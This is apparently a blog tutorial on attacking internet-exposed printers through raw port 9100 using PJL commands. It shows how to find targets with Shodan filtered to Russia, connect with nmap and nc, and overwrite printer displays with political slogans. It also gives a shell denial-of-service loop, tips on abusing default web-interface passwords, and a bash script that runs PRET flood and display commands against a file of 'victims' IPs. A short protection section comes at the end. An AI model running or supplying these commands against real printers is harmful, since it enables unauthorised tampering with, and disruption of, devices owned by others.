Everything created by a human can be broken by a human. That’s the main rule. The good question - how.

Every device, that works online is vulnerable. In this article, I would like to describe the old and well-known problem related to printers - port 9100.

history

In the early 90 HP introduced an option of a connection to a port 9100/TCP and getting the ability to perform raw printing.

This approach uses CAPS - Common UNIX Printing System that allows a computer to act as a print server: receive jobs for printing and do some additional operations.

At the same moment, 9100 is not a printing protocol, instead, data can be sent directly to printing devices like over TCP. This gives great options to receive some info back from the printer - so communication is bidirectional. In addition, this gives us the possibility to use PJL, PostScript, or PCL commands.

The last - is an easy vector for the attacker.

victims

To find victims u need somehow scan a network and obtain info about the device and open ports. To do so, u can use some service like shodan.io, google dorking, ZoomEye, exploit-db, etc.

Shodan is a search engine for Internet-connected devices source

google dorking - search engine to find problems

ZoomEye - alternative for Shodan

exploit-db - database with problems that were found

Let’s use Shodan. If u type filter like

port:9100 pjl country:ru

u can get a lot of results:

search.png



Imagine, that u find a victim - some IP of the printer with opened 9100 port.

The first mass destroy was done by @TheHackerGiraffe on 29 of November 2018 - he print his message on about 50000 printers.

pjl

PJL - Printer Job Language, created by HP, as mentioned above in 90th. Later this language was modified, added new functions, and as result created PCL - Printer Command Language.

At the same moment, PJL still exists and is widely used. One language used by different providers leads to the existence of many-many different commands.

command.png



Here is an official manual with supported commands by HP for PJL/PCL

To change the language of the printer we can use these commands:

<ESC>%–12345X@PJL <CR><LF>
@PJL COMMENT ** Beginning PCL Job ** <CR><LF> 
@PJL ENTER LANGUAGE = PCL <CR><LF>
@PJL SET LPARM : PCL SYMSET = DESKTOP <CR><LF>
<ESC>E . . . . PCL job . . . .<ESC>E

jetdirect

HP provide also JetDirect - technology that allows computer printers to be directly attached to a Local Area Network.

Firstly this technology was introduced in 1991 and has the name QuickSilver. Later, it was modified and widely spread in other areas: bt130, psa4250, etc.

JetDirect allows printing something on the printer via network. Not for the owners only ;].

9100

Using port 9100 we can send direct @PJL commands.

manual way

Step 1 - Inspect the target

For this purpose, we can use nmap

nmap -p 9100 <target>

the result can be like this:

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-09 11:55 EET
Nmap scan report for pool-<target> (<ip>)
Host is up (0.075s latency).

PORT     STATE SERVICE
9100/TCP open  jetdirect

Nmap done: 1 IP address (1 host up) scanned in 1.27 seconds

Step 2 - Connect to target

For connection we can use nc:

nc -v <target> 9100
Connection to <target> port 9100 [tcp/hp-pdl-datastr] succeeded!

Step 3 - Send command

The PJL language reference can help us with this.

Example:

@PJL STMSG DISPLAY="PUTIN HYILO" 

Or:

@PJL INFO STATUS
@PJL INFO STATUS
CODE=10001
DISPLAY="PUTIN HUYLO"
ONLINE=TRUE

It’s good to mention about how this everything works. As always, image better than any explanation:

howitworks.png



So if u send the command @PJL - it will be executed, if not - the sent data will be just printed.

It’s possible also to break the printer, even physically (problem with NVRam).

We can use DoS attack attack:

while [ 0 -eq 0 ]; do echo "PUTIN HYILO" | nc –v <target>; done

web interface

It’s often when the printer has been connected to the internet, it offers a web page with configs. Users often didn’t know about it and even did not change the default password.

Here is a web database with default passwords.

You can easelly find some printer like this one:

printerweb.png



Then, u can do whatever u want ;].

tools

It’s also a lot of tools for checking printer config:

Let’s review how to use PRET.

pret.png



Step 1: Download the PRET:

git clone git@github.com:RUB-NDS/PRET.git
cd PRET

Step 2: Prepare targets

Create a list of IPs for printers with open port 9100.

Step 3: Write automation:

U need to create a postScript document for printing. The easiest way is to save the document as PostScript.

Then, prepare a list of commands u want to execute and put them into file c.txt:

print print.ps
flood
display PUTIN HUYLO
quit

Write script for running and iterating targets:

#!/bin/bash
filename=$1
lines=`cat $filename`
for line in $lines; do
        echo "$line"
        python pret.py $line -i c.txt pjl 
        echo done for $line
done

Step 4: Run

bash run.sh victims.txt

This is theoretical material and it was never used in practice. Based on #pewdiepie story:

I was bored after playing Destiny 2 for a continuous 4 hours and decided I wanted to hack something. So I thought of any vulnerable protocols I could find on shodan

An example output:

% python pret.py <target> pjl --debug
Please install the 'colorama' module for color support.
      ________________                                             
    _/_______________/|                                            
   /___________/___//||   PRET | Printer Exploitation Toolkit v0.40
  |===        |----| ||    by Jens Mueller <jens.a.mueller@rub.de> 
  |           |   ô| ||                                            
  |___________|   ô| ||                                            
  | ||/.´---.||    | ||      「 pentesting tool that made          
  |-||/_____\||-.  | |´         dumpster diving obsolete‥ 」       
  |_||=L==H==||_|__|/                                              
                                                                   
     (ASCII art by                                                 
     Jan Foerster)                                                 
                                                                   
Connection to <target> established
@PJL USTATUSOFF
Device:   @PJL INFO ID
@PJL INFO ID
"MF420 Series"
MF420 Series

Welcome to the pret shell. Type help or ? to list commands.
<target>:/> display PUTIN HUYLO
Setting printer's display message to "PUTIN HUYLO"
@PJL RDYMSG DISPLAY="PUTIN HUYLO"
<target>:/> info status
@PJL INFO STATUS
@PJL INFO STATUS
CODE=10001
DISPLAY="PUTIN HUYLO"
ONLINE=TRUE
CODE=10001
<target>:/> exit

protection

If someone wants to break u’r device, he will, anyway, the question is only time ). So the real protection - is to make u’r printer offline.

To increase breaking time u can do these steps:

  • secure port 9100 as described here
  • change default passwords on the web interface
  • upgrade software constantly
  • add a limit to IP address of u’r printer
  • turn on a printer only when u need it

Resources